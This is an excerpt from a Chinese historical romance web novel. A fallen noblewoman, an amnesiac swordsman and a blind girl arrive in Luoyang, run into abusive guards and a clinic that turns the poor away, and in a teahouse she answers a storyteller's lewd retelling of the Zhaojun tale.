“这听月小筑的说书官人行头是愈来愈气派了!瞧瞧这马车架势,底下县城的官老爷恐怕都没这气派呢!”
“是了是了,可人家爷们那嘴皮子又怎么是咱们能比的,快快向前走去,别叫人看了笑话。”
白持盈想询问一二,便趁着这二人聊在兴头上插了话:“可瞧着那马车的形制,却像是逾矩了的。”
“哎呀,你这女子一瞧就不会的变通,那些说书郎君背后哪个不是有官家支持?还怕得这些?”
白持盈心思沉了下去,不由得忧心忡忡起来。
这洛阳令看来是已换了好几任,从前陆二叔在任上时,常听父亲言他清廉正直,哪容得如此事情发迹在跟前?自六年前家中遭难,她便再没回过洛阳,怕是早已光景地覆天翻,今时不同往日了。
“后面的,速速上前来,长着腿吗?”人群向前拥挤着,眼瞧着就要轮到白持盈一行人,那士兵没好气地叫嚷几声。
白持盈跟前头民众一样放下自己的包裹叫人查看,那士兵先抬眸斜睨了她一眼,口齿不清地哼了一声:“是个女的啊,臭死了。”
他懒懒地翻看着白持盈的包裹,一双留满了黄渍的手将白持盈一兜子东西翻得乱七八糟,最后打开了那本薄薄的册子。
“正月初四……女子……破庙……不应当……”
半响,他终于翻够了似的,冷冷一笑,对着那册子狠狠啐了一声,将其递到白持盈跟前,晃过两下。
白持盈心咚咚地跳着,想要伸手接过册子,却听那士兵哈哈邪笑一声,推了白持盈一把,接着“刺啦”一声撕毁了薄册。
“你一个女的,写这些个干甚,老老实实嫁给你爷爷们伺候就好,还想靠自己找营生活下去,还想给那女乞丐伸冤?头发长见识短,不如躺平了给□,哈哈哈哈哈……”
一时四周士兵皆跟着他狂笑不止,围着白持盈传阅着那话本。
白持盈倒在地上,顿觉得阎罗殿十万牛头马面不过狰狞如此。
4. 医馆前门槛高千丈,旧院内桃花盛数年
秋蝶飞呀飞呀的,落下来就枯成了叶子,风一吹,散在百姓脚边。
白持盈的话本子此刻也翻飞作叶,呼啦啦旋滚一地,周遭的一切景物似被横空抽去了般,只剩下巡城兵士粗狂蛮野的笑声。
她抹抹脸,从地上踉跄着起身。
瞧着身旁就要上前的辜筠玉,白持盈揩了揩脸上的泥,赶忙伸手把人拦住。她看了脸色极难看的辜筠玉一眼,示意他和盲女赶紧先一步进城去。
见辜筠玉还一言不发,白持盈拿不准他心思,只得凑到他身旁,压低了声音道:“公子,您可能这辈子都还没遇到过这种景况,咱们小老百姓呢,万万惹不起的有两种人——秀才和兵。今儿没见咱们乞丐似的赶咱们走,已经是万万大幸了,你先带着那小姑娘进去,我收拾了地上的东西马上就来。”
辜筠玉好似是听进去了,意味不明地深看了白持盈一眼,淡淡笑道:“好呀。”
看着人带那小姑娘进去的身影,白持盈总觉得他不很高兴,心中如含了砂石的蚌壳一样,面面不舒坦。
身后人们因着前头荒废了时间,叫嚷骂咧起来,白持盈赶忙要拾起地上被吹散的纸张。手头上捡到最后几张时,眼前出现一只硕大的脚,一脚踩在那黄白纸页上,就着黑泥拧转几圈,见白持盈愣过一瞬,哈哈大笑着抬起脚来。
白持盈抖着手压抑着心中怒火,匆匆拾起最后几张攥在手中,才低下头迈着小跑的步子跟上了等在前头的辜筠玉二人。
再没人出声,白持盈不晓得辜筠玉在别扭些什么,也一时气恼,便不与他搭话,于是二人便沉默着走了许久,那盲女怯生生跟在二人后头,兴许也是觉出了几分不对劲,遂结结巴巴开口问道:“……我娘从前跟我说,夫妻都是床头吵架床尾和,姐姐、哥哥能不吵吗,你们都是好人……”
白持盈她瞪大了一双漂亮的桃花眼,一时面热非常,竟也不复平日沉静,忙驳道:“你这丫头,谁与他床头吵架床尾和了……”只是她话音刚落,小姑娘似乎以为自己被训斥了,忙瑟缩着又把自己藏成一团,不再吭声。
心下晓得自己似乎是吓着人了,白持盈上前先拍了拍小丫头的肩,见人慢慢转向自己来,才松下口气,温柔地笑了笑:“没有说你不好的意思,你今天与姐姐讲话,姐姐高兴还来不及呢,只是我与他……我与他没有吵架。”
说罢,她拿胳膊肘戳了辜筠玉一下,只听得这挨千刀的“噗嗤”笑了一声,猛地咳嗽半晌,好不容易停下,才缓缓道了声嗯。
白持盈又使劲戳了他一下。
小姑娘一席话倒是叫二人怪异的气氛和缓许多,白持盈秉着送佛送到西的念头,顺着记忆里洛阳城的街道格局,领了二人向这儿最大的医馆“回春堂”走去。
到底是东都,洛阳的医馆瞧着气派许多,一个门头占了其他铺子约三个的大,瓦片也是锃亮的,像是新修缮过,有股子生人勿进的冷漠。门庭竟瞧着有几分“冷落”,连个百姓的人影儿也不见。
实在是与白持盈记忆里的医馆子差别甚大。
心中有种不安的预感,但瞧着辜筠玉苍白的脸色,白持盈还是上前一步,想带着二人踏进那医馆,却不料脚还没迈进去,人先被堂门口的小厮拦了下来。
“哎哎哎,哪儿来的叫花子,去,去,去,一边儿去。”
白持盈柳眉微皱,不悦开口:“你们这儿不是医馆子吗?”
那小厮压根儿没有睁眼瞧他,伸出手来剔了剔满口黄牙,翻过一个白眼嗡嗡道:“是啊。”
“那为何不叫我们进去?”白持盈今儿自打来了这洛阳城就没有好气过,音调不觉拔高了许多。
哪晓得那小厮“嘿呀”一声,指了指头上的牌匾,嗡里嗡气拍桌一吼:“瞧瞧!识字儿否?这是哪儿啊?”
白持盈秉着最后的修养冷冷回道:“回春堂,一个看病的地方。”
“哎呦呦!识得这字儿啊!那还不快滚!”小厮朝着白持盈破烂不堪的衣裳“啐”了一声,咧出一个极不屑的笑容。
“你!”白持盈哪见过这医馆子不叫人看病的道理,上前一步就要与他理论个一二三四,却不想被身旁沉默半晌的辜筠玉扯了扯袖子。
“别生气。”
“别生气个什么!这洛阳城现如今还有王法吗?病人在门口候着,还偏不叫人进去了?”白持盈拍开他扯着自己的手,一时只觉得荒唐无比,一路的流离一路的辛酸全在这一刻涌了上来。“别说你这小小的医馆了,便是太医院我从前也是闯过的!”
那小厮上下打量她一番,突然哼笑了一声。
“你这叫花子还充上能了?还太医院!也不撒泡尿照照看自己是什么样子!”
白持盈叫他一吼,霎时冷静了下来。
是了,她早就不是什么什么千金万贵的世家小姐了,她如今是一个身上只有一把铜钱可用的孤女。
只是白持盈忽然很想哭。
十二岁那年,她钻在仆人的米缸里,听着屋外杀死父亲母亲的长剑起落时,她没想哭;十六岁那年,被二叔二婶子扔在寒冬没有炉子的柴房挨冻时,她没想哭;十八岁那年,被陈家恶霸强娶虐待时,她没想哭;二十岁那年,好不容易逃出那个魔窟却发现自个儿身份被旁人顶用,只能饿死在雪地里时,她也没想哭。
因为她觉着,那左不过是自己倒霉了些,等世道好起来,日子总会也好起来的。
就像日头总在东边儿升起,冬天过去了就是春天。
但这一刻,领着一个病号和一个盲女一路流离却连医馆子的大门都进不去的这一刻,她忽然很想嚎啕大哭。
见她情绪不对,辜筠玉忙上前揽住她,轻声安慰道:“真别生气,你瞧我这不是活蹦乱跳的挺好的吗?我给你再念首诗,念什么呢,就这个罢!‘窗前明月光,疑是地上霜①……’,说不准我之前是个什么状元探花的呢,光记得诗了。”
白持盈头一次见这人一口气说这么一大堆的话,本想笑一声回她,却不想一张嘴,呜咽声就忍不住溢了出来。
她觉得丢人,忙要把眼泪揩去,却被眼前人揽进了怀里,轻轻拍了拍后背,一时那股子熟悉的香味儿又绕在了鼻尖。
“那在下给姑娘唱首调子如何?唱得不好也不能怨我。”比他高快一头的男子轻轻一笑,白持盈才发现他眼尾有些上挑,和眉间朱砂一同给玉人似的气质平添了几分风月。
白持盈一边擦着眼泪,一边锤了他一把,忙要把人推开。“你……你这个登徒子,还不放开我。”
见人终于缓了过来,辜筠玉才挑挑眉当回了君子。
一旁的小盲女早已被过身去,听着远方的鸟叫,心中数过树上有几只麻雀飞起。
小厮也没想到白持盈会哭成个泪人,先是愣在一旁许久,回过神来一边觉着愧疚,一边又不得不摆手赶人。
他低着头叹了口气:“姑娘,这真不是我为难你们,如今谁不知道这回春堂
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的新掌柜是刘大人和咱们王大人一手提拔的,只看贵人‘巧病’,不看穷人穷病,你们啊,不如找个行病郎中去看,走吧走吧,也别过来了啊!这儿不是你们能来得起的地方。”
何时这从前的平民医馆子看病也得分个人的三六九等贵贱有无了?真是滑天下之大稽!
白持盈深深吸了一口气,又缓缓吐了出去,她已不复方才失态,整个人沉静地如同青松上刚落下的新雪。
姑娘婉然一笑,越过小厮朝着回春堂堂内方向站定,沉声开口道:“诸位且等着吧,迟早有一日,我要把回春堂这门槛子撤了,所有人都能高高兴兴地来这看病!”
说罢,不理睬愣在一旁看热闹的众人,白持盈便一手拉着辜筠玉,一手拉着小盲女离开了这荒唐的回春堂。
不知道回的哪门子春。
“咱们先寻户人家问一下,看看哪儿能找到行病郎中。”白持盈心中虽多了些东西,但还担心着辜筠玉身上的伤,她探头望着小巷间,寻找着行病郎中的身影。
辜筠玉将松枝上落下的积雪为白持盈揩去,指尖划过白持盈白皙的后颈,目光晦涩地点了点头。
一行人又走了一会儿,直要将这西直街走到尽头去,三人也未寻到行病郎中的身影。
“怎的回事?”
白持盈心下讶异,方才问了许多人家,那些婶子叔叔们皆说得碰运气,这人命关天的事儿还得看天吃饭,真真是……叫白持盈不知说何是好!
身后传来闹哄哄的响动,人群耸拥如云,四邻八里的人都聚到了不远处一门头前,使劲抻着脖子向内瞭望——他们都将自己更灵便的那只耳朵向那酒楼模样的地方探去。
止语一拍,登时乱哄哄的人们静如呆鹅,屏息等着堂内说书人开口。
白持盈想起了今日在城门口瞧见的马车。
还没等她思绪转过几个弯儿,白持盈就被人拍了拍肩,一转头,正撞上一双清亮慈和的眼睛。
是个年逾花甲的老阿婆。
“小姑娘,你可是要找郎中啊?”阿婆手上提了个竹篓子,拿一层厚厚的布盖着。白持盈闻到那是白馍馍的香味儿,但她不敢吭声,有些警惕地瞧着这突然出现的人。
似乎是看出来白持盈的顾虑,阿婆哭笑不得地一跺脚,向身后指去:“你这小丫头片子,你不信沿着这旮旯街问问,我是不是这一片儿的郎中?别瞧我老婆子是个女子,就错看了人呀!”
她这话音刚落,方才给几人指路的婶子从铺面上探出头来,向着这阿婆打招呼:“呀!李婶子!来得正好!方才这小姑娘还找郎中呢!快带这小伙子人去瞧瞧罢,怪标致的一个人,小脸儿白的呦……”
见街坊都这样说了,白持盈才放下些心来,一行人跟着阿婆去了她看病的地方。
只是一到地儿,白持盈便愣住了。
这阿婆的小屋子,竟就在她外祖家荒废的府邸旁。
看着那从有些颓塌的墙角探出来的桃花,白持盈愣怔半晌才敢走近。
她脚步很轻很轻,像是怕吓到什么似的。
六岁那年她在一墙之隔的院角和外祖栽下一粒桃花树的种子,如今这桃花树竟已能枝越墙头来。
不远处刚关上院门的阿婆慈祥地望着白持盈,她见那亭亭玉立的姑娘站在还未绽开来的桃花树下,已有羞花之貌。
她盘着手上一串佛珠,嘴里喃喃道:“哎呦,沈是那小子再不来,媳妇要跟人跑喽!”
5. 需钱处用金不用墨,治患者医人不医心
“你若疼得厉害了,便攥着这帕子吧,咱还是头一遭见你这么能忍的人儿,声都不带出的。”阿婆将刀具在烛火上翻烤一番,边给辜筠玉剔着烂疮,边惊叹道。
将纱布取来,白持盈恰好听见这一句,遂抬头瞧了辜筠玉一眼,只见这人脸色苍白地半倚在床边,豆大的汗珠滚落,表情却还是一脸漠然,仿佛魂魄离了体似的。
不对,白持盈心道,这人恐怕现在真叫自个儿魂魄离体瞧着躯壳受罪,不然这么深的伤,怎能连嘴唇都不带颤一下的?
心中思绪乱飞着,白持盈刚要剪下纱布给阿婆递过去,却听阿婆继续碎碎叨叨:“你也是福大命大,这伤看着不多重,下手的人却是真真的毒,致命得很,也幸得你心口较旁人偏了些,又遇上这好心的姑娘,不然早就成了洛阳城外的孤魂野鬼喽!”
想起这人一路上与自己说笑言谈,除去脸色较旁人苍白些,竟全看不出有此等致命伤在身,白持盈不觉暗暗心惊。
“婆婆,可瞧瞧他这什么也想不起来的毛病有什么治的法子?也好报了官府叫人寻到家去,不然家中人等得该多心急。”见婆婆收手将草药膏子上好,白持盈上前,略过辜筠玉灼灼目光,撇过脸给这人绕上一圈子纱布来。
她听到辜筠玉小声地“哼”了一句。
白持盈觉出他一声“哼”中的不乐意,只想杵这人一拳头,叫他别总阴阳怪气的,手中力道便不由得收紧,疼得辜筠玉“嘶”了一声。
“原来公子不是哑巴啊。”白持盈怕真疼着他,又卸了力道,细细给人把纱布裹了一圈又一圈。
阿婆在一旁呵呵笑不止。
“等婆子给他瞧瞧。”见人囫囵一个包扎好后,郎中婆婆转过身洗了手,便要依着白持盈的话去给辜筠玉瞧瞧他失忆的症状,也好对症下药些。只是刚要抚上辜筠玉的眉梢处,便被辜筠玉抬臂攥住了手腕,寸步不能近身。
婆婆立马“哎呦呦”叫了起来。
白持盈站起连忙将婆婆从辜筠玉手中解救下来,忽而想到那日在破庙里,自己也是为他擦拭脸上血渍时,被这人掐了脖子。
这是不喜欢别人碰他的脑袋?
似乎也觉得自己太过应激,辜筠玉愣怔过片刻才反应过来,他面露愧色,一时竟不知如何解释:“对不住,婆婆,我……”
他怎么样?一想从前,辜筠玉太阳穴处便针扎似的疼,他抚住额角,闭目坐在床榻上,忽然吐了一口黑血出来。
这下白持盈与郎中婆婆哪里还顾得上手腕不手腕的,只一人赶忙上前擦拭着辜筠玉吐出来的黑血,一人抬手掐了脉,很是慌乱了一霎。
白持盈吓得脸色发白,忽然后悔没动作快些带这人进城,她有些嗔怒道:“你怎的该当哑巴时不当哑巴吗,不该作哑巴时却化作一只闷葫芦!你难受怎的不早说,我还以你没大碍呢!”
辜筠玉还未缓过来,想回她一句叫她别自恼,却一张口又是一口黑血吐了出来。
白持盈手中帕子还未来得及洗干净,见他又吐血,只能连忙上前搀扶住他,拿出自己绣了花的帕子,替这人擦去嘴角血渍。
“真没事儿……”辜筠玉想搪塞过去,却被白持盈瞪了一眼,不知怎的竟有几分心虚,只得老实道:“这不是怕你不要我,把我扔路上嘛。”
白持盈被他两口黑血吓了一跳,又一时气急丢了伶牙俐齿,只边擦边瞪了他一眼:“我什么时候说不要你,要把你扔路上了?”
“就刚刚啊,还说要把我送官府呢。”
“谁说要把你送官府了……”白持盈眉头一拧就又要驳他,却忽觉得不对,顿时停下愣了一瞬。
不对啊,怎么就到了不送官府这一步了?
白持盈睁大眼睛抬头,却正对上这人一双满含笑意的桃花眼,微微上挑的眼睛带了几分狡黠的狐狸样。
“你还是闭嘴吧你!”白持盈将洗好的帕子扔回这人怀里,走到窗边闷闷地瞧着院子里小盲女与郎中婆婆的小孙女在一块儿啃馍馍。
婆婆呵呵一笑,拿出针包在烛火上烤过,示意辜筠玉躺下,自己要给他施几针。
“你这孩子,是不是内伤还没好就偷偷运功了?”伸手扎下一针,瞧着辜筠玉涔涔冷汗落下,又猛地咳嗽起来,婆婆才冷冷开口,也不知是在说给谁听。
白持盈猛地回头,忽然想起破庙中,那莫名其妙倒在地上口吐白沫的恶霸。
见瞒不下去了,辜筠玉只得将头埋在枕头上装死,仿佛只要他不说话,就不会有人想起这件事儿。
可白持盈哪是个让人的,她两步上前,像终于抓住了狐狸的尾巴,走到床头冷声问道:“那日破庙里,出手杀了那恶霸的,是不是你?”
手指在根本戳不动的枕头上戳了戳,辜筠玉继续装死着没吭声。
白持盈“哼”了一声。
忽得,像听到什么暗号一样,辜筠玉猛地抬头,伸手轻轻扯了一把白持盈的袖口。
“你别哼,怪里怪气的。”
白持盈简直被他气笑了。
“到底是谁在怪里怪气啊!你倒是会倒打一耙。我真是与你说不清,我从现在便不与你讲话,讲了我就变成你家门口门槛前的青蛙,你还是乖乖当哑巴吧,也万万记着别与我说话。”
终于施好了最后一枚针,婆婆笑得前仰后合,瞧着快抚不住床沿了。
“你们小年轻的,真是叫人捉摸不透,罢了,罢了,我瞧这小子身上还有些银两,不如叫人给你们做几身衣裳去?也好过再穿这破麻布出入街市。”
瞧着床|上|人被血染得斑驳成块儿的衣服,白持盈点了点头,十分熟稔地从床边摸出辜筠玉的钱袋子来,捏出块儿碎银子给了那蹦跳进来的小童,吩咐过几句后,小童高兴地率着朝天辫出门拿衣裳去了。
白持盈果真一句话都没有与辜筠玉多说。
只是她走到哪儿,辜筠玉的目光就跟到哪儿,从婆婆屋子里放杂物的篓子,跟到婆婆屋子里收衣裳的箱子,再跟到婆婆放馍馍的篮子。
忍无可忍,白持盈转回身瞪了他一眼,又扔了方帕子过去。
身后灼灼目光终于静了下来。
辜筠玉拾起脸上盖着的手绢儿,看着白持盈的背影,眉眼还是含笑的,神色却兀得透着一股冷淡。
还是什么都想不起来,但只要瞧着白持盈,他就觉得十分、十分地有意趣。
有趣到叫他有点儿不想要记起从前那些东西了。
好烦。
他举起绣花的帕子久久地瞧了一会儿,团成一团,然后抬手仍在了一旁。
*
等三人换好衣裳拜别郎中婆婆时,已经是天擦黑的时候了,主街镶雕木彩窗飞阙,千端奇巧物什皆布于廊坊,罗绮满街,缎绸盈市,杂有叫卖声如雀啼入耳,声声清脆。小儿歪步抢道而过,一追一逐,灵巧可爱,他们手中的纸风车呼啦啦转着,唱出风的音儿。
白持盈发呆着看过这周遭许多楼阁景致,从那纸风车上回过神,惊觉此处与少时已大不同,心中不免多了几分物非人也非的苍凉之感。
“不若先去听月小筑探探消息。”辜筠玉不知从哪儿变出个风车来,晃晃悠悠地塞到了白持盈后领口。
白持盈伸手一摸,将将要问这人怎么变的戏法子,却忽得想起今儿说了
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不与他讲话,便鼓着腮帮子吹了那风车一口,又塞回了辜筠玉手中。
辜筠玉挑眉,笑着将风车收回了自己袖口,却见白持盈已经往听月小筑的方向去了。
若说这世间消息最灵通的地方是哪儿,世人会皆举酒楼;若说这洛阳城消息最灵通的地方是哪儿,洛阳人会皆举听月小筑。
现下还是请“贵人”们进听月小筑内坐歇的时辰,白持盈其实大摸不着这地方究竟是怎样能进去,别像是那医馆子一样也拦人。她本打算寻个人问问,却见辜筠玉已上前一步,摇着折扇大摇大摆地走进了那酒楼。
白持盈心下还讶异着,却见辜筠玉在店小二瞧不见的角度向她们招了招手,示意二人跟上来。
不再作旁思,白持盈拉起小盲女的手,两步跟上去,脑海里思绪一转,也差不多明白几人能进来的理儿了。
实在是如今穿得人模人样的。
再加上辜筠玉那扇子一摇,一派风流公子姿态,哪还有人上来拦着他们?她忽然想起今儿帮郎中婆婆收拾衣物匣子时,也有两三件子瞧着很打眼的衣裳,怕是同作此用的。
这听月小筑虽名字有个“小”字,内里可却一点儿不小,气派得很,二人先进的说书的大堂,眼前数百张长方束腰香几配红木圈椅,椅子上皆带了湖绿的金线缂丝背靠,每桌旁也有散落一二时新的圈椅,桌上覆了长方雀蓝混银撒花几衬,一通富贵气象。
三人刚一坐下,一店小二便小步跑来,他脚步极轻,显然是经过精密训练的,一张恰到好处的笑脸叫人看了心头舒坦极了。
“少爷小姐们!可算来喽!就等着几位贵客呢!”他一边儿将椅子给白持盈拉开,一边儿摊开一帖子食单来,叫他们点餐。
白持盈低头一看价格,吓了一跳。
这不是在抢钱吗?
辜筠玉瞧着这价格,也罕见地差点儿一口被茶水呛到,缓了口气后看了白持盈一眼,无奈一笑。
他翻了翻那食单,然后一推,推到了白持盈跟前。
“你点吧,我付钱。”
白持盈本想着要不算了吧,但看了看一旁咽口水的小盲女,还是红着脸硬着头皮点了几样菜色。
“那就来一碟子刀切酱牛肉,一碟子荷包里脊,一碟子芋蒸白菜和一道黄鱼羹吧。”
实在是吃人嘴短,穿人手软,待那店小二走后,白持盈左手手指摩挲着右手手指,目光看着那人袖口的风车道:“钱我以后会还你的。”
辜筠玉却先是将那风车塞到了白持盈手中,才慢悠悠回:“都说救命之恩当涌泉相报……你不是不同我讲话吗?”
白持盈抬眸瞧了他一眼,将那风车收起,下定决心似的点点头:“我是青蛙。”
却不想辜筠玉“噗嗤”一声笑了出来,无奈道:“姑奶奶,我回去就把门槛撤了,绝不会叫你变青蛙的。”
“你家门槛儿有多少,你能撤得完吗?”白持盈微微眯眼,极快地回问了一句。
“这个有多少呢……”辜筠玉拍拍脑袋,忽然眉头一皱,撑着脸思索起来。“……哎呀,真真想不起来呢,我连我家在哪儿都不记得了。”
见试探失败,白持盈也未气恼,只淡淡一笑,又吹了一口风车。
止语木一拍,洛阳城就静了下来。今儿晚上的话本子,讲的是一折《昭君出塞》。
而幽州城外,一匹天青骏马长啸穿行,踏破长夜奔袭数百里,直往洛阳去。
“还要多少时日可到洛阳?”
“回将军,约莫一月。”
“换马,不走官道了。”
沈是等了太多年,他等不起了。
6. 远嫁人未寄远嫁语,话堂客不解话堂春
堂上说书人一张精瘦的脸,原是个书生样,却因为一双倒掉的三白眼多了几分油滑之相,身上崭新金贵的一身天青素罗藤纹长衫,时新的一把画云提字折扇,只有拍在堂桌上的止语木旧,旧得乌黑发亮。
他嘴一张,便是从毛延寿画像讲起:
“那毛延寿,本是汉宫一画师,领着大汉皇帝圣旨,遍行天下,刷选室女,已选够九十九名。各家尽肯馈送,所得金银却也不少。昨日来到成都秭归县,选得一人,乃是王长者之女,名唤王嫱,字昭君。生得光彩射人,十分艳丽,真乃天下绝色。争奈他本是庄农人家,无大钱财。毛某人问他要百两黄金,选为第一。他一则说家道贫穷,二则倚着他容貌出众,全然不肯……①”
众人皆屏息凝神听着,间或有二三人交头接耳一二,便被领座的瞪眼唬了回去,白持盈听这故事早不下白遍,尽管细微处有所不同,却大体不差,只听得她昏昏欲睡。
讲了约莫两刻时间,那说书人嘿嘿一笑,嘴角直要扯到眼角去,话头一转,慢悠悠饮了一盏茶水,登时换了一番怪话词,叫白持盈听着眉头一皱。
“只见那昭君不着粉朱颜色,只着一件儿半遮的扣身衫子,脱了光,与那单于太子笑道:‘奴已好了,客何时来?’那太子也只一搓掌着上前,家伙什怎是那老单于的银样镴|枪|头,直看得昭君一脸绯色,身盈体软……”
前座一老鼠样猥琐态的男子听了这淫词,见白持盈容貌可人,一眼两眼数次回头望,不时与邻座同行人奸笑两声。
白持盈心中冷笑一声,一口茶水未咽下,待得那人再转过头来,看准去处,直直一口茶水喷到了他脸上。
“你你你……你这泼皮女子!”那男子糊了一脸茶水,登时□□似的跳起,指着白持盈便要骂,却被身旁其他听客吼叫怒斥坐下,只得愤愤拿着一方帕子揩过脸上茶水,咬牙朝着白持盈放狠话:“你且等着!看大爷我一会子怎么整治你这小妮子!”
哪想得白持盈嘲讽一笑,特意压低了声线的音儿,拿方才切酱牛肉的那小刀,“噌”一声插到了桌几上,有些阴恻恻地挑眉:“你晓得我们是谁吗?”说罢她又指了指辜筠玉:“晓得他是谁吗?劝你掂量掂量再和本小姐说话,像你这样的眼珠子,吊在本小姐家后院儿喂鸟恰恰好。”
果不其然,那淫|徒听了“你你你”半晌,瞧白持盈衣衫簇新靓丽,行止端丽,确是富贵之相,只得忿忿不平一番后屈下身子蔫儿了,鼻孔滚出两口粗气,“哐当”一声拉开椅子坐了回去,不再吭声。
小盲女嘴里花生米还没嚼完,惊呆在一旁不知作何反应,而看了好长时间戏的辜筠玉更是将扇子一开,露出一双含笑的狐狸眼,猛地咳嗽几声。
白持盈未理会他,又当回了那个神态自若的淡淡模样,面无表情地吃着花生米,抬腿从几子下踢了辜筠玉一脚。
辜筠玉终于不再扇他那无风的扇子,收起笑容拖着侧脸,继续听着那说书人讲书。
“哪想得那单于太子刚走,单于王叔便掀帘进了帐子,见昭君声的是眉弯细柳、鬓添桃花,好不一番熏熏然,见昭君故露着半边香肩,朝他一媚笑,便脑中糊涂涂,嘴里油润润,也收用了昭君去。”
即此说论,台下顿时荡起一片淫|笑来,原是那前排有个客人早已不耐,顾不得来上茶丫头的挣扎,只抱人飘飘然去了那大堂深处。
白持盈听得脸色愈加难看,与辜筠玉对视了一眼,见他也神色恹恹中透着几分尴尬,便与他耳语道:“咱们要不紧要吃了也走罢,我瞧着这洛阳第一的酒楼不过如此。”
辜筠玉终于如释重负般一点头,将剩的那半盘子牛肉添到白持盈碗中,又将另半盘子里脊添到盲女碗中,催促二人快吃,自个儿则坐下来静静望着窗外发呆。
白持盈瞧着他苍白的脸色,忽得想起临走时,婆婆拉她到一旁与他讲的话。
“这孩子年纪轻轻怎的一身内伤,你若有时间不妨多劝劝他,好好将养着,不然又是个短岁的命,我们行医的最见不得这些个不爱惜自己身体的,老婆子瞧着头疼呦。”
于是白持盈变扭一番后,良心打赢了怪气,试探着开口问道:“你是不是不大舒服?”
辜筠玉显然没想到她突然问这个,推着腮转过头来:“怎的突然问这个?”
伸出两根手指将他转过来的脸戳了回去,白持盈自思,我总不能说与你一路同行了这么多天,还咂摸不出来你一神游就总有事发生此个道理?
但她什么也没说,将自己碗里牛肉给他挑回去另一半儿,吃了好几口才回道:“没什么,我猜的,权当我话没落地。”
辜筠玉也没与她再推让,只看了半晌她嚼东西鼓鼓囊囊的腮帮子,才放下扇子道:“好妹妹,我确实是不甚舒服,咱们快快吃完离开这地儿,再听我就得两眼一闭晕在此处了。不过咱们得先寻个住处去,每日这么游荡着也不是个正经。”
白持盈小口嚼着白饭,听此他好姐姐好妹妹的只想杵他一拳,又觉得大庭广众失淑女风范,只得快快低头接着食用,不再理会辜筠玉,给这厮染坊开。
只是他二人不作声,有人先忍不了了。
“你、你们听、听月小筑平日里便、便讲说的这些不、不入流东西么?好、好好的一折子《昭、昭君出塞》硬是让你、你们给作弄成、成了淫、淫词艳曲!”开口的是个个头不高的“公子”,身着一酒红一张粉桃似的小圆脸,嫩得能掐出汁|水来,只可惜他说话有些结巴,一开口,满堂的人皆前仰后合地笑了起来。
这“公子”脸更红了,却还坚持着质问道:“如若洛、洛阳的说、说书行当皆、皆是这个样子,那我瞧着……唔唔!”
身后有贴身小厮模样的人上前,忙捂住了他的嘴巴。
白持盈心下觉得几分敬佩,却同时也觉着这人的乔装实在是太拙劣了!
这一瞧就是个姑娘,哪儿像个郎君了。
那小姑娘还不罢休,小小的一个人竟气力奇大地挣开了那扮作小厮模样的丫头,继续结结巴巴道:“我瞧着这天下也不过如此了!”
她终于说出了一句完整的话,却如同巨石入水,惊得满堂人鸦雀无声。
酒楼管事一时急了,转身便要去告状,却被笑眯眯的辜筠玉一伸手拦了下来:“哎呀呀,兄台要去何处?不如先与在下吃盏茶,再做旁的事情?”
见辜筠玉接住了自己使的颜色,白持盈松下一口气。但一转头她又见前头几位男子神色不屑地上手推倒了那娇小的姑娘,急得随行“小厮”粉泪盈盈,
“你们作甚!大庭广众地欺负人做什么!你晓得……”那作小厮打扮的丫鬟急急要说什么,被倒地的姑娘连忙喝止,一时息声了。
白持盈见那姑娘刚一撑起身子要起来,便又被人推了下去,实在可怜,便叫辜筠玉先放了那小二,救人要紧。
“你可真是……真是个活脱脱的菩萨。”辜筠玉叹了一口气。
白持盈轻轻咬着自己的指尖,垂眸纠结过一瞬,还是抬眼,软着声音对辜筠玉道:“好哥哥,你不运内功制得住那几个人吗?”
将扇子“唰”地一开,辜筠玉不语,半晌后神色不明地向他比了个数。
“这遭算欠我十个人情。”
白持盈哪有不让的,连连点头,吩咐了盲女两句后,就拉着辜筠玉的衣袖一同上前,走近那几名还在淫|笑的男子。
那几人果停下手中动作,瞧向二人。
辜筠玉自一隙行道出手,也未多动作,只将那扇子一抛,先恰恰点中了那挨在最中间的男子,“哎呦呦”一声,男子轰然倒地,后接着几个快得瞧不见的转身旋
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过,这人似乎是点了那几人的穴位,快如鹰羽翕展,一阵功夫,地上便躺了一片熊。
一时看客都看呆了,竟也没人再出声。
白持盈见他一派轻松就制服了那几个男子,心中先是松了一口气,又赶忙上前安慰那吓着的小丫鬟,与她耳语几句。只见那小丫鬟听了白持盈一番话,顺着二人方才来时空开的行道快快跑了出去,一会儿便消失在了夜色中。
见人离开,白持盈才扶起那睁着溜圆一双眼睛的小姑娘,替她拍拍身上沾上的灰尘,拉她起身,托着她的手向四周看了一圈儿,才朗朗开口:“我见诸位方才有不少人都面露不忍之色,想必也与小女一般,其实打心底里一觉着这小姑娘可怜,二觉着这小姑娘说得不错。”
“小女知晓如今行当上的风气便是爱听枕头旁的和拳头上的,咱们小老百姓么,也多听个红火热闹,并未有什么不妥。此乃是人之常情,小女的爹是朝廷的进士,也常给小女讲酒楼里俗而不媚的话本子故事,什么《灯笼记》啊,《黄莺传》啊,我记着都好听地紧。”
听了她一席话,堂下有人窃窃私语起来,白持盈见他们就此三三两两讨论起来,便知晓这一席话是起了效用,接着道:“可今儿这折子《昭君出塞》,小女不甚喜欢。”
她这话一出,堂下便霎时静了下来,众人目光皆向着她,似在等她下一句话讲什么,尤是最前头一位贵妇人模样的女子,瞧着最为目光恳切。
“庆云十九年,先帝之姊新都公主,远适乌犹以结和亲,公主是年方及笄,犹花之蕊嫩也。观此婶母,与我母年齿相若,敢问尊府可有芳龄相仿之女或妹耶?”
那位坐在最前头的贵妇人点点头,身旁二三同行者也因此低声谈论起来。
白持盈得到回应后点到为止,继续言道:“话说那新都公主,正值豆蔻年华,奉旨远嫁乌犹,以结两国之好。她身边带着大梁之瑰宝,诸如丝绸之华、茶叶之香、瓷器之雅、历法之精、乐谱之妙,一路颠簸,历六十八日之程,方穿越那滚滚大漠,其漠广袤无垠,犹如百条黄河并肩而流。公主初至乌犹,举目无亲,那乌犹文字,犹如天书,难以辨识。及至踏入王帐,方见那单于已是老迈之年,昏耄不堪,时或误将公主认作其妹或女,令人心生凄楚。”
“岁月如梭,转瞬之间,二年已过。那老单于竟撒手人寰,留下公主孤身一人。乌犹之俗,公主须续嫁单于之孙,即新任之王。公主闻此,心如刀绞,她自幼受教于大梁,深知君臣大义,天理伦常,岂能容忍此等悖逆之行?公主含泪而叹:‘吾自幼习大梁之礼教,岂能违心而行此悖逆之事?吾虽身处异域,然心犹在大梁,此生恐难再归故土矣。’言罢,泪如雨下,叫人望之肝肠寸断。”
“那乌犹人简直欺人太甚!”
“姑娘,那后来怎么样了呢?”
“对啊对啊,乌犹不是与咱们大梁合盟许多年了吗?还一起狠狠教训了北蛮子呢!”
